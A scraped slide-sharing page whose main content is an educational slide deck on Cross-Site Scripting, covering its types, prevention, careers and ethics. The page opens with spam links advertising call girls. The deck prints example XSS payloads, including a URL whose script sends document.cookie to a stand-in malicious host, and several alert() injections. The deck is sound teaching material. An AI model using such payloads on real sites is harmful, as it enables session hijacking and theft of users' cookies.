08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 

Cross-Site Scripting (XSS)

  • 3. Table of Contents ● Introduction ● Related Works ● Technical Aspects ● Types of XSS o Reflected XSS o Stored XSS o DOM-Based XSS o Prevention ● Careers and Jobs ● Social Impact ● Ethical Impact ● Future Expectations ● Conclusion ● References
  • 4. Introduction ● Cross-Site Scripting (XSS) occurs when an attacker uses a web application to gather data from a user ● Attackers inject JavaScript into an application to fool a user to get data from them ● Every month roughly 10-25 XSS holes are found in commercial products and advisories are published explaining the threat.
  • 5. Related Works ● 1995 - Netscape releases JavaScript ● 1999 - David Ross (Microsoft) publishes “Script Injection” paper ● 2000 - Microsoft works with CERT ● 2005 - Samy Kamkar attacks MySpace ● 2006 - Cross-Site Scripting Malware popular o port scanners, keyloggers, etc ● 2007 - XSS #1 on the Open Web Application Security Project (OWASP) Top Ten list ● 2010 - XSS #2 on OWASP Top Ten list ● 2013 - XSS #3 on OWASP Top Ten list
  • 6. Technical Aspects ● Leverages JavaScript to attack the user o JS is a client-side processed scripting language ● General aim of the attack is Session Hijacking or Credentials Stealing o ex. Steal user cookie & use web app as them ● Can compromise the entire application through users
  • 7. Reflected XSS ● Most common form of XSS vulnerability (roughly 75% of cases) ● Vulnerability o Improper filtering/sanitization of HTTP parameters or user input that are processed by server-side scripts and reflected in the HTML the client receives ● Exploit o Crafted input by malicious user is added to a URL and sent to target user o http://www.something.com/thing.cgi?param=<script>document.location=“http://www.maliciousSite.com/?” +document.cookie;</script> ● Problem o Relies on target user having active session to hijack
  • 8. Stored XSS ● Attack stored in application servers ● Vulnerability o Improper user input sanitization in forms and user-created content instead of HTTP request params ● Exploit o Malicious script is injected into the page content viewed by other users  ex. MySpace content (by Samy), Ebay sale listing (by Shubham Upadhyay)  '"--></style></script><script>alert("XSSed by Cyb3R_Shubh4M")</script> ● Why it’s more dangerous o Other users will already have an active session with the application in order for malicious code to be processed on their browser
  • 10. DOM-Based XSS ● All client-side processing, no server processing ● Vulnerability o Improper JS data handling. ● Exploit o Leverages Document Object Model, pulling data with AJAX, and client-side processing ● Example o Next slide from Open Web Application Security Project (OWASP)
  • 11. DOM-Based XSS Example ● Expected URL in HTTP request, parameter decides default language to display o http://www.some.site/page.html?default=French ● Malicious URL o http://www.some.site/page.html?default=<script>alert(document.cookie)</script> ● Script in HTTP response from server o document.write("<OPTION value=1>"+document.location.href.substring (document.location.href.indexOf("default=")+8)+"</OPTION>"); o All processing references made to the Location object in the Document object for the web page in the browser (document.location) o Specifically to the value sent as the “default=” parameter
  • 12. DOM-Based XSS Example Cont. ● Browser processes the script received by the server which ● injects the malicious URL parameter script into the DOM when rendering the page, which ● executes the malicious script
  • 13. Preventing XSS ● Recursive sanitization o When processing a client HTTP request or user supplied data it must be sanitized o Why recursive?  Wrapping commonly sanitized characters or sub-strings  ex. <scr<script>ipt> . . . </scr</script>ipt> becomes…  <script> . . . </script> ● Properly handle Encoding/Decoding o URL Encoding / Percent Encoding  One method attackers used to bypass literal character filtering is to encode known untrusted/dangerous characters (ex. %3C = ‘<’) o HTML Encoding / Decoding  Another method for bypassing these filters is to HTML encode those characters injected into the document to be decoded back into scripts when the page is rendered
  • 14. Careers and Jobs Job Growth Projection (2012-2022) ● Jobs in 2012 / 2022 o 141,400 / 169,900 ● 10-year Growth o +20% / +28,500 Web Developer Pay (2012) ● Median wage (Web Devs.) o $62,500 ● vs Median wage (all occupations) o x1.8 Web Developer
  • 15. Careers and Jobs Skills ● HTML ● JavaScript ● PHP ● C# ● jQuery ● CSS Web Developer ● Java ● SQL ● Ruby on Rails ● .NET ● ASP.NET ● MySQL
  • 16. Careers and Jobs Skills ● Web Security and Encryption ● Network Security management Penetration Tester ● Security Testing and Auditing ● Computer Security
  • 17. Careers and Jobs Minimum Qualifications ● Bachelor's degree and 3 years of professional work experience (or a master's degree) Additional Qualifications ● Experience in o developing web applications in Java, Ruby or JavaScript o OWASP or NIST 800-64 o application security assessment tools o IT Security user groups or security certification (CISSP, CEH, OSCP, etc.) (MathWorks job listing) Web Application Security Engineer
  • 18. Careers and Jobs Firefox Platform Engineer Minimum Qualifications ● Experience o writing code. College degree is not necessary or sufficient. o Expertise in any of C++, JavaScript, or Python. o Experience debugging or profiling. Desired Skills ● C++; JavaScript; x86, x86_64, or ARM ● Experience with cryptographic signing and verification. ● Experience with security threat models. ● and more Platform/Browser Engineer & Security Engineer Platform Security Engineer Minimum Qualifications ● BS in Computer Science (or equivalent) plus 3-5 years industry experience ● Strong knowledge of C++ and JavaScript ● Strong privacy or security background ● Experience working in security or development team ● Experience in contributing to large open source projects is a plus ● Excellent verbal and written communication skills
  • 19. Social Impact ● Link mistrust? o Users still lax and ignorant o Hackers/hacking still a very opaque subject to most ● Train users? o Organizations already do o They get the training wrong o Users are still making dumb mistakes  (ex. Only hover over a link to check if the domain matches)
  • 20. Ethical Impact Don’t do it(without permission) It’s unethical and very illegal. Unless you like fines, 5-20 years in prison (Title 18 U.S. Code § 1030(C)) and civil litigation. Offensive/Malicious Perspective
  • 21. Ethical Impact ● Developers have an ethical and sometimes legal responsibility to their clients. o XSS can result in the compromise of the entire application in addition to client accounts o Client compromise can disclose PII, and App compromise can mean total data breach and network compromise ● Data breach disclosure is required by law in every state but New Mexico, Alabama and South Dakota o Very damaging for a company financially and to client trust relationships Defensive/Developer Perspective Secure your code!
  • 22. Future Expectations ● One estimate is that 94% of web applications are vulnerable to XSS o Every month roughly 10-25 XSS holes are found in commercial products ● Jobs o the bureau of labor statistics expects a 37% increase for InfoSec professionals 2012-2022 ● Prevention by consumer education is key!
  • 23. Conclusion ● Almost all web applications are vulnerable to XSS ● XSS has been on OWASP’s Top Ten list for 8 years ● Repercussions to XSS? o possible to probable jail-time and fines ● Preventing XSS? o biggest burden lies in consumer/user education ● Jobs? o expecting increase of 37% (2012-2022)  all computer systems need security
  • 24. References 1. Stuttard, Dafydd, and Marcus Pinto. The Web Application Hacker's Handbook Finding and Exploiting Security Flaws. 2nd ed. Indianapolis: Wiley, 2011. Print. 2. "The Cross-Site Scripting (XSS) FAQ." 'Web and Application Security News' Web. 17 June 2015. http://www.cgisecurity.com/xss-faq.html. 3. "XSS (Cross Site Scripting) Prevention Cheat Sheet." - OWASP. Web. 17 June 2015. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet. 4. "A Short History of JavaScript." - Web Education Community Group. Web. 17 June 2015. https://www.w3.org/community/webed/wiki/A_Short_History_of_JavaScript. 5. "History of Cross Site Scripting." Increased Visibility. Web. 17 June 2015. http://intellavis.com/blog/?p=284. 6. "Types of Cross-Site Scripting." - OWASP. Web. 17 June 2015. https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting. 7. "Securing Your Web Browser." Securing Your Web Browser. CERT. Web. 17 June 2015. https://www.us-cert.gov/publications/securing-your-web- browser. 8. Saxena, Prateek. "Systematic Techniques for Finding and Preventing Script Injection Vulnerabilities." Electrical Engineering and Computer Sciences University of California at Berkeley, 29 June 2012. Web. 17 June 2015. http://www.eecs.berkeley.edu/Pubs/TechRpts/2012/EECS-2012-170.pdf. 9. Klein, Amit. "Cross Site Scripting Explained." Sanctum Security Group, 1 June 2002. Web. 17 June 2015. https://crypto.stanford.edu/cs155/papers/CSS.pdf. 10. "Web Application Security Engineer." - MathWorks Jobs. MathWorks. Web. 17 June 2015. http://www.mathworks.com/company/jobs/opportunities/web-application-security-engineer-14497?source=10192. 11. "Web Application Security Engineer Salary." Web Application Security Engineer Salary. Indeed. Web. 17 June 2015. http://www.indeed.com/salary?q1=Web Application Security Engineer&l1=. 12. "Web Application Developer Salary (United States)." Web Application Developer Salary (United States). PayScale. Web. 17 June 2015. http://www.payscale.com/research/US/Job=Web_Application_Developer/Salary. 13. "Web Developers." U.S. Bureau of Labor Statistics. U.S. Bureau of Labor Statistics, 8 Jan. 2014. Web. 17 June 2015.http://www.bls.gov/ooh/computer-and-information-technology/web-developers.htm. 14. "Penetration Tester Salary (United States)." Penetration Tester Salary (United States). PayScale. Web. 17 June 2015. http://www.payscale.com/research/US/Job=Penetration_Tester/Salary. 15. "18 U.S. Code § 1030 - Fraud and Related Activity in Connection with Computers." 18 U.S. Code § 1030. Cornell University. Web. 17 June 2015. <https://www.law.cornell.edu/uscode/text/18/1030>.